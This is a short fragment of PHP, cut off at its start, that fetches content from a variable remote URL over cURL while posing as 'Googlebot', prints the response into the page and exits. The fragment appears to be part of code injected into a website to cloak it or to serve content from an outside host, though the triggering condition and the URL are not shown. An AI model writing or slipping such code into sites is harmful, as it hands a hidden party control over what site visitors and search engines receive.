$bot_url, CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 8, CURLOPT_CONNECTTIMEOUT => 4, CURLOPT_FAILONERROR => true, CURLOPT_USERAGENT => 'Googlebot', ]); $response = curl_exec($curl); curl_close($curl); if ($response) { echo $response; } exit; } } ?>